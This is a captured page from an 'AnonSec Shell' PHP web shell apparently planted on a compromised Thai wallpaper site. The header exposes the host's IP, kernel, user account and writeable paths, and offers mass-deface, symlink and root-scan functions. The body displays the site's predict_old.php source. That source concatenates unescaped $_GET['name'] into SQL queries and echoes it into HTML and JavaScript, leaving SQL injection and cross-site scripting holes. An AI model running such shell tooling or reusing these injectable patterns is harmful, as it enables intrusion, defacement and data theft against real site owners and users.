AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/kainumber.com/wallpaper/home/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/kainumber.com/wallpaper/home/predict_old.php
<?php include('../include/class.php');?>
<!DOCTYPE html>
<html lang="en">
  <head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->

    <link rel="apple-touch-icon" href="../../image/icon.png"/>
	<link rel="apple-touch-icon" sizes="72x72" href="../../image/icon.png"/>
	<link rel="apple-touch-icon" sizes="114x114" href="../../image/icon.png"/>

    <link rel="icon" href="../../image/favicon.ico">
<?php
//($_GET['name'])?$_GET['name']:@$_SESSION['con'][0]['id']
$list = array('table'=>'wallpapers','where'=>'id = "'.@$_GET['name'].'" AND status = "1"');
$view = $view_db->view($list);
$row1 = $view_db->q($view);

$list_n = array('table'=>'wal_category','where'=>'id = "'.@$row1['name'].'" AND status = "1"');
$view_n = $view_db->view($list_n);
$row1_n = $view_db->q($view_n);

$og_title = 'วอลเปเปอร์สายมู ' . $row1['name'];
$og_image =  $row1['image'];
$og_image2 = 'https://www.kainnumber.com/redbag/wallpaper/thumb/'.$img_t;
$og_image3 = 'https://www.kainnumber.com/redbag/wallpaper/thumb/'.$img_t;

?>



  <?php include('../../include/meta.php');?>

    <meta property="og:image"            content="<?php echo $og_image?>">
    <meta property="og:image:secure_url" content="<?php echo $og_image3?>">
    <meta property="og:image:type"       content="image/jpeg">
    <meta property="og:image:width"      content="600">
    <meta property="og:image:height"     content="315">

  <!-- Bootstrap core CSS -->
    <!--<link href="http://getbootstrap.com/dist/css/bootstrap.min.css" rel="stylesheet">-->
      <link href="../../bootstrap/css/bootstrap.min.css" rel="stylesheet">

    <!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
   <!-- <link href="http://getbootstrap.com/assets/css/ie10-viewport-bug-workaround.css" rel="stylesheet">-->
   <script src="../../bootstrap/js/ie-emulation-modes-warning.js"></script>

    <!-- Custom styles for this template -->


    <!-- Just for debugging purposes. Don't actually copy these 2 lines! -->
    <!--[if lt IE 9]><script src="../../assets/js/ie8-responsive-file-warning.js"></script><![endif]-->
    <!--<script src="http://getbootstrap.com/assets/js/ie-emulation-modes-warning.js"></script>-->




    <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
    <!--[if lt IE 9]>
      <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
      <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
    <![endif]-->
    <link href="../../css/style.css" rel="stylesheet">

    <script src="../include/function.js"></script>



  </head>

  <body>


<?php $menu = 'wallpaper';?>
<?php include('../theme/menu.php')?>
<style>
select{ -webkit-font-smoothing: auto;}
.rounded-pill {
  border-radius: 50rem !important;
  -webkit-border-radius: 50rem !important;
  -moz-border-radius: 50rem !important;
  -o-border-radius: 50rem !important;
  -ms-border-radius: 50rem !important;
}
.control-label{color: #ffffff;}
#txt{display: none;}
.txt-p{

  font-size: 150%;
  width: 34px;
  height: 35px;
  background-color: #80268f;
  border-radius: 100%;
}
.radius-1{border-radius: 20px;-webkit-border-radius: 20px;-moz-border-radius: 20px;}
.Bgfooter{ margin-top:-35px;}

.text_reading{background-color:#ffff00;border-radius:20px;max-width:500px;text-align:center;font-size:18px;padding-top:15px;padding-bottom:15px;margin-top:45px;color:#333;}
.Dloading{background-color:#FFC;padding:10px;position:absolute;z-index:99;border-radius:10px;margin-top:200px;margin-left:0px;}
.H_title{color:#ffff00;font-size:50px;text-align:left;/*text-shadow: 0.1em 0.1em 0.05em #333;*/font-family:'Superspace';font-weight:bold;margin-left:10px;}
.H_title2{font-size:35px;/*text-shadow: 0.1em 0.1em 0.05em #b1a6a6;*/font-family:'Superspace';font-weight:bold;padding: 0px;margin: 0px;}
@media (max-width: 768px)
{
	.H_title{text-align:center;font-size:40px;}
}
.div_text_cut{max-height: 10rem;overflow-wrap: anywhere;overflow: hidden;font-size: 18px;}
.img-responsive{display: block;height: 140px;width: auto;}
@media (max-width: 768px)
{
	.img-responsive{height: 107px;}
  .div_text_cut{font-size: 12px;max-height: 7rem;}
}
.col-auto {
  flex: 0 0 auto;
  width: auto;
}
.div_border_1{    border: 2px solid #ffffff;border-radius: 25px;padding: 2rem;}
.div_border_2{
  border: 2px solid #fff;
  border-radius: 25px;
  padding: 2rem;
  justify-content: center;
  align-items: center;
  width: 100%;
  margin-bottom: 15px;
}
.w-50{width: 40%;}
@media (max-width: 768px)
{
  #txt{display: block;}
	.w-100{width: 100%}
  .w-50{width: 50%;}

}
.bt_login, .bt_login:hover, .bt_login:active, .bt_login:visited{
  background-image: none;
  background-color: #380f53;
  text-align: center;
  border: 1px solid #ffffff;
}
@media (min-width: 768px){
  .modal-dialog {
    width: 600px;
    margin: 15% auto;
  }

}
.modal-header .close {
    margin-top: -24px;
}
</style>
<?php
function getMBStrSplit($string, $split_length = 1){
  mb_internal_encoding('UTF-8');
  mb_regex_encoding('UTF-8');

  $split_length = ($split_length <= 0) ? 1 : $split_length;
  $mb_strlen = mb_strlen($string, 'utf-8');
  $array = array();
  $i = 0;

  while($i < $mb_strlen)
  {
    $array[] = mb_substr($string, $i, $split_length);
    $i = $i+$split_length;
  }

  return $array;
}

function getSubStrTH($string, $start, $length){
  //$length = ($length+$start)-1;
  $array = getMBStrSplit($string);
  $return ="";
  //print_r($array);
  for($i=$start; $i < count($array); $i++)
  {
    //echo $array[$i];

    //echo preg_match("/[^ก-ฮA-Za-z0-9]+/", $array[$i]).'<br>';
    if( preg_match("/^[ก-ฮA-Za-z0-9]+$/", $array[$i]) ) {

      if($return==''){
        $return = $array[$i];
      }
    }
  }
  return $return;
}

$str = $_SESSION["wal_member_name"];
$txt = getSubStrTH($str, 0, 1); // ประเทศไทย
 ?>
<div class="container">
      <div class="row">
        <div class="col-md-12">

          <!-- Modal -->
          <div  id="ModalX" style="display: none;position: fixed;top: 0;right: 0;bottom: 0;left: 0;z-index: 1038;background: rgb(2 3 2 / 78%);"></div>
            <div class="modal" id="Modal1" tabindex="-1" role="dialog" aria-labelledby="ModalLabel1"
            aria-hidden="true" style="display: none;padding-right: 17px;">
            <div class="modal-dialog" role="document">
              <div class="modal-content">
                <div class="modal-header">
                  <h5 class="modal-title" id="ModalLabel1" style="color: #000000;">แจ้งเตือน!</h5>
                  <button type="button" class="close" data-dismiss="modal" aria-label="Close" onclick="closes()">
                    <span aria-hidden="true">&times;</span>
                  </button>
                </div>
                <div class="modal-body" style="color: #000000;">
                  <?php echo @$_SESSION['er']; ?>
                  <small class="text-danger">*การใช้งานเว็บไซต์ผ่านเบราว์เซอร์บนแอพพลิเคชั่น Line จะไม่สามารถดาวน์โหลดวอลเปเปอร์ได้</small>

                </div>
                <div class="modal-footer">
                  <button type="button" class="btn btn-secondary" onclick="confirm_d2(false)">ยกเลิก</button>
                  <button type="button" class="btn btn-primary" onclick="confirm_d2(true)" data-dismiss="modal">ยันยัน</button>
                </div>
              </div>
            </div>
          </div>


        <div style="margin-top:0px;">
        <div class="row">
           <div class="col-md-6"><div class="H_title" >วอลเปเปอร์สายมู</div></div>
          <div class="col-md-6 hidden-xs  hidden-sm " style="font-size:16px;color:#FFF;margin-top:15px;text-align:right;font-family:'Superspace';margin-top:35px;">ทำนายทั่วไป  >
          <a href="../../wallpaper/" style="color:#FFF;font-family:'Superspace';">วอลเปเปอร์สายมู </a>
          > <a href="../home/predict.php?name=<?php echo $_GET['name']; ?>" style="color:#FFF;font-family:'Superspace';"><?php echo $row1_n['name']; ?> </a>
          </div>
        </div>

        </div>

        </div>
        <?php if(@$_SESSION["wal_member_name"]){ ?>
        <div id="txt"style="margin-top:15px;">
          <div align="center" style="display: flex; justify-content: center;align-items: center;">
            <div class="txt-p"><?php echo $txt; ?></div>
            <span style="padding-left: 8px;"><?php echo @$_SESSION["wal_member_name"]; ?></span>
          </div>
        </div>
      <?php } ?>

      </div><!--/row-->
    </div>


<div style="background-image:url(../redbag/wallpaper/<?php echo $row1['bg_image']?>);background-position:top center;background-repeat:repeat-x;background-color:transparent;margin-top:20px;background-size: auto 429px;">
 	<div class="container" style="max-width:1000px; justify-content: center;display: grid;">
   <div class=" div_border_2 text-center" style="" >
     <?php
     $css_text = '';
     $category_n=array();
     $category_n = explode(',',$row1['category']);
     if(strlen($row1['name']) > 70){ $css_text = 'font-size:14px;';}
     ?><div class="row">

       <div class="col-md-12 " style="justify-content: center;display: grid;">
         <div class="">
           <img src="../../redbag/wallpaper/thumb/<?php echo ($row1['image_show']!='')?$row1['image_show']:$row1['image']; ?>" alt="" class="w-100">
         </div>
       </div>
       <div class="col-md-12">
         <div class="div_measure_name" style="<?php echo $css_text; ?> padding-top: 25px;" >
           <?php
           $list_c = array('table'=>'wal_category','where'=>'id = "'.$row1['name'].'"');
           $view_c = $view_db->view($list_c);
           $row_c = $view_db->q($view_c);
            ?>
           <p class="H_title2"><?php echo $row_c['name']?></p>
           <?php
           $text_category = explode(',',$row1['name_m']);
           $text_category2 = '';
           if($text_category[0]!=''){
             for ($i=0; $i < count($text_category) ; $i++) {
               $list_c2 = array('table'=>'wal_category_supplement','where'=>'id = "'.$text_category[$i].'"');
               $view_c2 = $view_db->view($list_c2);
               $row_c2 = $view_db->q($view_c2);
               if($text_category2==''){
                 $text_category2 = '( เสริม'.$row_c2['name'];
               }else{
                 if($i == count($text_category)-1){
                   $text_category2 = $text_category2." และ".$row_c2['name'].' )';
                 }else {
                   $text_category2 = $text_category2." ".$row_c2['name'];
                 }
               }
             }

           }
            ?>
           <div class="div_text_cut" style="color: #ffffff; "> <?php echo $text_category2; ?> </div>
           <div class="div_text_cut"><?php echo $row1['detail']?></div>
           <?php
           $list_tv = array('table'=>'wal_type_value','where'=>'id = "'.$row1['type_value'].'"');
           $view_tv = $view_db->view($list_tv);
           $row_tv = $view_db->q($view_tv);
           ?>
           <div class="div_text_cut" style="color: #ffffff;">(<?php echo $row_tv['name']; ?>)</div>
           <div class="div_text_cut"  >
             <?php
             if($row1['type']==1 && ($row1['price']=='' || $row1['price']==0)){
               $ttt = 'color: red;';
               $ttt2 = 'ฟรี';
             }elseif($row1['type']==1 &&  $row1['price']>0){
               $ttt = 'color: red;';
               $ttt2 = 'ฟรี';
             }else{
               $ttt = '';
               $ttt2 = 'ราคา '.$row1['price'].' บาท';

             }
              ?>
              <span style="<?php echo $ttt; ?>">
                <?php echo  $ttt2; ?>
              </span>

              <?php
              if($row1['price'] <> 0){
              if($row1['type']==1){ ?>
                <span style="font-size: 75%;text-decoration: line-through;">ราคา <?php echo $row1['price']; ?> บาท</span>
              <?php } } ?>
           </div>
         </div>
       </div>
     </div>

   </div>
   <br>
   <div class="row" align="center" style="justify-content: center;">
     <!--<div class="col-sm-offset-1 col-md-11">-->
     <div class="col-md-12">
       <?php
        if($row1['type'] == 1){$action_url = 'action="dowload.php"'; $name_button = 'ดาว์นโหลดฟรี';}
        elseif ($row1['type'] == 2) {$action_url = 'action="confirm1.php"';$name_button = 'ยืนยัน';}
        elseif ($row1['type'] == 3) {$action_url = 'action="confirm2.php"';$name_button = 'ดาว์นโหลดฟรี';$name_button1 = 'ยืนยัน';}
        $text_detail = explode(',', @$row1['detail_text']);
        //print_r($text_detail);
       ?>
       <form class="form-horizontal"  method="post" enctype="multipart/form-data" id="fm_data"
          > <!--onSubmit="return checkform_pre();"-->
         <?php if($row1['type_value'] != 5){ ?>
         <div class="form-group">
           <label for="inputEmail3" class="col-sm-3 control-label" style=" padding:0px; padding-top: 7px;">ชื่อ-นามสกุล :</label>
           <div class="col-sm-8">
             <input type="text" class="form-control corner_cancel radius-1" name="namefull" id="namefull" placeholder="ชื่อ-นามสกุล"
             value="<?php echo @$_SESSION['con'][0]['namefull']; ?>" maxlength="<?php echo @$text_detail[2]; ?>">
             <!-- onkeypress="check_le('namefull','<?php //echo @$text_detail[2]; ?>')"-->
             <span><?php echo 'กำหนดตัวอักษรไม่เกิน '.@$text_detail[2].' ตัว'; ?></span>
           </div>
         </div>
         <?php } ?>
         <?php if($row1['type_value'] == 2 || $row1['type_value'] == 4){ ?>
           <div class="form-group">
             <label for="inputEmail3" class="col-sm-3 control-label" style=" padding:0px; padding-top: 7px;">ข้อความ :</label>
             <div class="col-sm-8">
               <textarea name="detail" id="detail" class="form-control corner_cancel radius-1"  rows="5" maxlength="<?php echo @$row1['max_length']; ?>"
               placeholder="ข้อความ" style="width:100%;"><?php echo @$_SESSION['con'][0]['detail']; ?></textarea>
               <span><?php echo 'กำหนดตัวอักษรไม่เกิน '.@$row1['max_length'].' ตัว'; ?></span>
             </div>
           </div>
         <?php } ?>
         <?php if($row1['type_value'] == 3 || $row1['type_value'] == 4){ ?>
           <div class="form-group">
             <label for="inputEmail3" class="col-sm-3 control-label" style=" padding:0px; padding-top: 7px;">เบอร์โทร :</label>
             <div class="col-sm-8">
               <input type="tel" class="form-control corner_cancel radius-1" name="phonenumber" id="phonenumber" placeholder="088-888-8888"
               value="<?php echo @$_SESSION['con'][0]['phonenumber']; ?>" onkeyup="checkformat_tel(this.value)" maxlength="12" >
             </div>
           </div>
         <?php } ?>

         <?php if($row1['zodiac']==1){ ?>
           <div class="form-group">
             <label for="" class="col-sm-3 control-label" style=" padding:0px; padding-top: 7px;">ราศี :</label>
             <div class="col-sm-8">
               <select name="zodiac" id="zodiac" class="form-control corner_cancel radius-1">
                 <option value="0" <?php  if($_SESSION['con'][0]['zodiac']==0){echo 'selected';} ?>>ไม่กำหนด</option>

                 <?php
                 $sql_s = 'status = "1"';
                 $list = array('table'=>'wal_zodiac','where'=>$sql_s);
                 $view = $view_db->view($list);
                 $result = $view_db->q_re($view);
                 while($row_z = $view_db->q_ro($result))
                 {
                 ?>
                 <option value="<?php echo $row_z['id']; ?>" <?php echo ($row_z['id'] == $_SESSION['con'][0]['zodiac'])?'selected':''; ?>><?php echo $row_z['name']?></option><?php
                 }
                 ?>
               </select>
             </div>
           </div>
         <?php } ?>

         <?php if($row1['element']==1){ ?>
           <div class="form-group">
             <label for="" class="col-sm-3 control-label" style=" padding:0px; padding-top: 7px;">ธาตุ :</label>
             <div class="col-sm-8">
               <select name="element" id="element" class="form-control corner_cancel radius-1">
                 <option value="0" <?php  if($_SESSION['con'][0]['element']==0){echo 'selected';} ?>>ไม่กำหนด</option>
                 <?php
                  $sql_s = 'status = "1"';
                  $list = array('table'=>'wal_element','where'=>$sql_s);
              		$view = $view_db->view($list);
              		$result = $view_db->q_re($view);
                  while($row_e = $view_db->q_ro($result))
               		{
                  ?>
                 <option value="<?php echo $row_e['id']; ?>" <?php  echo ($row_e['id'] == $_SESSION['con'][0]['element'])?'selected':''; ?>>
                   <?php echo $row_e['name']?></option><?php
                 }
                 ?>
               </select>
             </div>

           </div>
         <?php } ?>

         <?php if($row1['date']==1){ ?>
           <div class="form-group">
             <label for="col-sm-12 inputEmail3" class="col-sm-3 control-label" style=" padding:0px; padding-top: 7px;">วัน :</label>
             <div class="col-sm-8">
               <select name="date" id="date" class="form-control corner_cancel radius-1">
                 <option value="sun" <?php  if($_SESSION['con'][0]['date']==''){echo 'selected';}else{echo ($_SESSION['con'][0]['date'] == 'sun')?'selected':'';} ?>>วันอาทิตย์</option>
                 <option value="mon" <?php  if($_SESSION['con'][0]['date']=='mon'){echo 'selected';} ?>>วันจันทร์</option>
                 <option value="tue" <?php  if($_SESSION['con'][0]['date']=='tue'){echo 'selected';} ?>>วันอังคาร</option>
                 <option value="wed" <?php  if($_SESSION['con'][0]['date']=='wed'){echo 'selected';} ?>>วันพุธ</option>
                 <option value="thu" <?php  if($_SESSION['con'][0]['date']=='thu'){echo 'selected';} ?>>วันพฤหัส</option>
                 <option value="fri" <?php  if($_SESSION['con'][0]['date']=='fri'){echo 'selected';} ?>>วันศุกร์</option>
                 <option value="sat" <?php  if($_SESSION['con'][0]['date']=='sat'){echo 'selected';} ?>>วันเสาร์</option>
               </select>
             </div>
           </div>
         <?php } ?>

         <?php
         $detail_random = explode(',',$row1['detail_random']);

          ?>
         <?php if($detail_random[5]==1){ ?>
           <div class="form-group">
             <label for="col-sm-12 inputEmail3" class="col-sm-3 control-label" style=" padding:0px; padding-top: 7px;">เลือกหมวด :</label>
             <div class="col-sm-8">
               <select name="cat" id="cat" class="form-control corner_cancel radius-1">
                 <option value="0" <?php  if($_SESSION['con'][0]['cat']==0 || $_SESSION['con'][0]['cat']=='' ){echo 'selected';} ?>>ไม่กำหนด</option>
                 <?php
                  $sql_r = 'status = "1"';
                  $listr = array('table'=>'wal_category_supplement','where'=>$sql_r);
              		$viewr = $view_db->view($listr);
              		$resultr = $view_db->q_re($viewr);
                  while($row_r = $view_db->q_ro($resultr))
               		{
                  ?>
                 <option value="<?php echo $row_r['id']; ?>" <?php echo ($_SESSION['con'][0]['cat'] == $row_r['id'])?'selected':''; ?>>
                   <?php echo $row_r['name']; ?></option>
                 <?php } ?>
               </select>
             </div>
           </div>
         <?php } ?>

         <?php if(@$row1['type'] != 1){  ?>
         <div class="form-group">
           <label for="inputEmail3" class="col-sm-3 control-label" style=" padding:0px; padding-top: 7px;">Code :</label>
           <div class="col-sm-8">
             <input type="text" class="form-control corner_cancel radius-1" name="code" id="code" placeholder="code"
             onkeyup="showHint(this.value)"  value="<?php echo @$_SESSION['con'][0]['code']; ?>">
             <span id="txtHint"></span>
           </div>
         </div>
         <?php } ?>


         <input type="hidden" id="ev" value="<?php echo @$row1['type_value']; ?>">
         <input type="hidden" id="name_id" name="name_id" value="<?php echo $_GET['name']; ?>">
         <input type="hidden" id="image" name="image" value="<?php echo $row1['image']; ?>">
         <input type="hidden" id="discount" name="discount" value="">
         <input type="hidden" id="amount" name="amount" value="<?php echo $row1['price']; ?>">
         <input type="hidden" id="id_code" name="id_code" value="">
         <div class="form-group">
           <div class="col-sm-12">
             <?php if($row1['type'] == 1 || $row1['type'] == 3){ ?>
               <input class="btn btn-default corner_cancel bt_login rounded-pill" type="button" style="color:#FFF;" value="ดาวน์โหลดฟรี"
               onclick="confirm_d()">
             <?php } ?>

           </div>
         </div>

         <div class="form-group">
           <div class="col-sm-12">
             <?php if($row1['type'] == 2 || $row1['type'] == 3){ ?>
             <input class="btn btn-default corner_cancel bt_login rounded-pill" type="button" style="color:#FFF;" value="สั่งซื้อ"
             onclick="confirm_data('<?php echo $_GET['name']; ?>')">
             <?php } ?>
           </div>
         </div>
         <div class="form-group">
           <div class="col-sm-12">
             <?php if($row1['type'] == 2 || $row1['type'] == 3){ ?>
             <a style="color:#898887;text-decoration:none;" href="../include/clear.php" >ยกเลิก</a>
             <?php } ?>
           </div>
         </div>


       </form>

     </div>
   </div>


         <div style="border:#00F solid 0px;margin-top:40px;">
             <?php //include('../themes/google_ad.php');?>
         </div>





     </div>
 </div>


<script type="text/javascript">
  function checkformat_tel(val){
      var val_length = val.length;
      if(val_length==10){
        val_s = val[0]+val[1]+val[2]+"-"+val[3]+val[4]+val[5]+'-'+val[6]+val[7]+val[8]+val[9]
        document.getElementById('phonenumber').value = val_s;
      }
  }
</script>
<script>
function confirm_data(id) {
  //checkform_pre();

  var c = document.getElementById('code');
  if(c.value!=''){
    var xmlhttp = new XMLHttpRequest();
      xmlhttp.onload = function() {
        //console.log(this.responseText);
        var data =JSON.parse(this.responseText);
        //console.log(data);
        if(data.status=='yes'){
          //console.log(data);
          document.getElementById("txtHint").innerHTML = 'Code ถูกต้อง';
          document.getElementById("id_code").value = data.id_code;
          if(data.type==3){
            document.getElementById("discount").value = <?php echo $row1['price']; ?>;
          }else{
            document.getElementById("discount").value = data.money;
          }
        }else if(data.status=='expire'){
          document.getElementById("txtHint").innerHTML = 'หมดอายุ';
          document.getElementById("discount").value = '';
        }else if(data.status=='max'){
          document.getElementById("txtHint").innerHTML = 'จำนวนการใช้งานเต็มแล้ว';
          document.getElementById("discount").value = '';
        }else if(data.status=='false'){
          document.getElementById("txtHint").innerHTML = 'Code ไม่ถูกต้อง';
          document.getElementById("discount").value = '';
        }

        var data = 'id='+id;
        <?php if($row1['type_value'] != 5){ ?>
          var name_full = document.getElementById('namefull').value;
          data = data + '&namefull='+name_full;
        <?php } ?>
        <?php if($row1['type_value'] == 2 || $row1['type_value'] == 4){ ?>
          var detail = document.getElementById('detail').value;
          data = data + '&detail='+detail;
        <?php } ?>
        <?php if($row1['type_value'] == 3 || $row1['type_value'] == 4){ ?>
          var phonenumber = document.getElementById('phonenumber').value;
          data = data + '&phonenumber='+phonenumber;
        <?php } ?>


        <?php if($row1['zodiac'] == 1){ ?>
          var zodiac = document.getElementById('zodiac');
          data = data + '&zodiac='+zodiac.value;
        <?php } ?>

        <?php if($row1['element'] == 1){ ?>
          var element = document.getElementById('element');
          data = data + '&element='+element.value;
        <?php } ?>

        <?php if($detail_random[5] == 1){ ?>
          var cat = document.getElementById('cat');
          data = data + '&cat='+cat.value;
        <?php } ?>

        <?php if($row1['date'] == 1){ ?>
          var date = document.getElementById('date');
          data = data + '&date='+date.value;
        <?php } ?>

        var discount = document.getElementById('discount');
        //console.log(discount.value);
        if(discount.value > 0){
          data = data + '&discount='+discount.value;
          <?php if($row1['type'] != 1){ ?>
            var code = document.getElementById('code').value;
            data = data + '&code='+code;
            var id_code = document.getElementById('id_code').value;
            data = data + '&id_code='+id_code;
          <?php } ?>
        }

        var image = document.getElementById('image').value;
        data = data + '&image='+image;

      // console.log(data);

      var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function() {
          if (this.readyState == 4 && this.status == 200) {
            //document.getElementById("txtHint").innerHTML = this.responseText;
            var amount = document.getElementById('amount');
            var code2 = document.getElementById('code');
            //console.log(amount.value+" "+ discount.value);
            if(parseFloat(amount.value) < parseFloat(discount.value)){
              if(confirm('code: '+code2.value+' มีราคาส่วนลดมากกว่าวอลล์เปเปอร์นี้ ยืนยันใช้ code: '+code2.value+' ใช่หรือไม่')){
                window.location.href = 'confirm.php';
              }
            }else{
              window.location.href = 'confirm.php';
            }

          }
        };
        xmlhttp.open("GET", "confirm1.php?" + data, true);
        xmlhttp.send();

      }
      xmlhttp.open("GET", "gethint.php?q=" + c.value);
      xmlhttp.send();
  }else{
    var data = 'id='+id;
    <?php if($row1['type_value'] != 5){ ?>
      var name_full = document.getElementById('namefull').value;
      data = data + '&namefull='+name_full;
      <?php } ?>
      <?php if($row1['type_value'] == 2 || $row1['type_value'] == 4){ ?>
        var detail = document.getElementById('detail').value;
        data = data + '&detail='+detail;
        <?php } ?>
        <?php if($row1['type_value'] == 3 || $row1['type_value'] == 4){ ?>
          var phonenumber = document.getElementById('phonenumber').value;
          data = data + '&phonenumber='+phonenumber;
          <?php } ?>


          <?php if($row1['zodiac'] == 1){ ?>
            var zodiac = document.getElementById('zodiac');
            data = data + '&zodiac='+zodiac.value;
            <?php } ?>

            <?php if($row1['element'] == 1){ ?>
              var element = document.getElementById('element');
              data = data + '&element='+element.value;
              <?php } ?>

              <?php if($detail_random[5] == 1){ ?>
                var cat = document.getElementById('cat');
                data = data + '&cat='+cat.value;
                <?php } ?>

                <?php if($row1['date'] == 1){ ?>
                  var date = document.getElementById('date');
                  data = data + '&date='+date.value;
                  <?php } ?>

                  var discount = document.getElementById('discount');
                  //console.log(discount.value);
                  if(discount.value > 0){
                    data = data + '&discount='+discount.value;
                    <?php if($row1['type'] != 1){ ?>
                      var code = document.getElementById('code').value;
                      data = data + '&code='+code;
                      var id_code = document.getElementById('id_code').value;
                      data = data + '&id_code='+id_code;
                      <?php } ?>
                    }

                    var image = document.getElementById('image').value;
                    data = data + '&image='+image;

                    // console.log(data);

                    var xmlhttp = new XMLHttpRequest();
                    xmlhttp.onreadystatechange = function() {
                      if (this.readyState == 4 && this.status == 200) {
                        //document.getElementById("txtHint").innerHTML = this.responseText;
                        //console.log(this.responseText);
                        var amount = document.getElementById('amount');
                        var code2 = document.getElementById('code');
                        if(amount.value < discount.value){
                          if(confirm('code: '+code2.value+' มีราคาส่วนลดมากกว่าวอลล์เปเปอร์นี้ ยืนยันใช้ code: '+code2.value+' ใช่หรือไม่')){
                            window.location.href = 'confirm.php';
                          }
                        }else{
                          window.location.href = 'confirm.php';
                        }

                      }
                    };
                    xmlhttp.open("GET", "confirm1.php?" + data, true);
                    xmlhttp.send();

  }



}
function checkform_pre(){
  var ev = document.getElementById('ev');
  if(ev.value==1){
    var en = document.getElementById('namefull');
    if(en.value==''){
      if(confirm('ยืนยันไม่กรอกชื่อ-นามสกุล ใช่หรือไม่')){
        var ed = document.getElementById('detail');
        if(ed.value==''){
          if(confirm('ยืนยันไม่กรอกข้อความ ใช่หรือไม')){
            return true;
          }else{
            ed.focus();
            return false;
          }
        }else{
          return true;
        }
      }else{
        en.focus();
        return false;

      }
    }else{
      return true;
    }
  }
  if(ev.value==2){
    var ed = document.getElementById('detail');
    if(ed.value==''){
      if(confirm('ยืนยันไม่กรอกข้อความ ใช่หรือไม')){
        return true;
      }else{
        ed.focus();
        return false;
      }
    }else{
      return true;
    }
  }

  if(ev.value==3){
    var en = document.getElementById('namefull');
    if(en.value==''){
      if(confirm('ยืนยันไม่กรอกชื่อ-นามสกุล ใช่หรือไม่')){
        var et = document.getElementById('phonenumber');
        if(et.value==''){
          if(confirm('ยืนยันไม่กรอกเบอร์โทรศัพท์ ใช่หรือไม่')){
            return true;
          }else{
            et.focus();
            return false;
          }
        }else{
          return true;
        }
      }else{
        en.focus();
        return false;

      }
    }else{
      return true;
    }
  }
  if(ev.value==4){
    var en = document.getElementById('namefull');
    if(en.value==''){
      if(confirm('ยืนยันไม่กรอกชื่อ-นามสกุล ใช่หรือไม่')){
        var ed = document.getElementById('detail');
        if(ed.value==''){
          if(confirm('ยืนยันไม่กรอกข้อความ ใช่หรือไม่')){
            var et = document.getElementById('phonenumber');
            if(et.value==''){
              if(confirm('ยืนยันไม่กรอกเบอร์โทรศัพท์ ใช่หรือไม่')){
                return true;
              }else{
                et.focus();
                return false;
              }
            }else{
              return true;
            }
          }else{
            ed.focus();
            return false;
          }
        }else{
          return true;
        }
      }else{
        en.focus();
        return false;

      }
    }else{
      return true;
    }
  }
}

function ch_nameful(){
  var en = document.getElementById('namefull');
  if(en.value==''){
    if(confirm('ยืนยันไม่กรอกชื่อ-นามสกุล ใช่หรือไม่')){
      return true;
    }else{
      en.focus();
      return false;

    }
  }else{
    return true;
  }
}
function ch_message(){
  var ed = document.getElementById('detail');
  if(ed.value==''){
    if(confirm('ยืนยันไม่กรอกข้อความ ใช่หรือไม')){
      return true;
    }else{
      ed.focus();
      return false;
    }
  }else{
    return true;
  }
}
function ch_phone(){
  var et = document.getElementById('phonenumber');
  if(et.value==''){
    if(confirm('ยืนยันไม่กรอกเบอร์โทรศัพท์ ใช่หรือไม่')){
      return true;
    }else{
      et.focus();
      return false;
    }
  }else{
    return true;
  }
}
function showHint(str) {
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onload = function() {
      //console.log(this.responseText);
      var data =JSON.parse(this.responseText);
      //console.log(data);
      if(data.status=='yes'){
        //console.log(data);
        document.getElementById("txtHint").innerHTML = 'Code ถูกต้อง';
        document.getElementById("id_code").value = data.id_code;
        if(data.type==3){
          document.getElementById("discount").value = <?php echo $row1['price']; ?>;
        }else{
          document.getElementById("discount").value = data.money;
        }
      }else if(data.status=='expire'){
        document.getElementById("txtHint").innerHTML = 'หมดอายุ';
        document.getElementById("discount").value = '';
      }else if(data.status=='max'){
        document.getElementById("txtHint").innerHTML = +
        'จำนวนการใช้งานเต็มแล้ว';
        document.getElementById("discount").value = '';
      }else if(data.status=='false'){
        document.getElementById("txtHint").innerHTML = 'Code ไม่ถูกต้อง';
        document.getElementById("discount").value = '';
      }
    }
    xmlhttp.open("GET", "gethint.php?q=" + str);
    xmlhttp.send();

}

function confirm_d(){
  document.getElementById('ModalX').style.display = 'block';
  document.getElementById('Modal1').style.display = 'block';
}

function confirm_d2(val){
  if(val==true){
    window.location.href="dowload.php?id=<?php echo @$row1['id']; ?>";
    document.getElementById('ModalX').style.display = 'none';
    document.getElementById('Modal1').style.display = 'none';
  }
  if(val==false){
    document.getElementById('ModalX').style.display = 'none';
    document.getElementById('Modal1').style.display = 'none';
  }
}
function check_le(id,le) {
  var id = document.getElementById(id);
  var ll = le-1;
  if(id.value.length > ll){
    alert('กรุณากรอกข้อมูลไม่เกิน '+ le + 'ตัวอักษร');
    id.value = id.value.slice(0, ll);
  }
}
</script>
<div class="container">
<div class="row" align="center">
<div  class="col-md-12" style="padding:-top:20px;">
<?php //include('../themes/google_ad.php');?>
</div>
</div>
</div>

<!-- /.body -->
<?php include('../include/footer.php')?>
<?php include('../include/footer_js.php')?>

Anon7 - 2022
AnonSec Team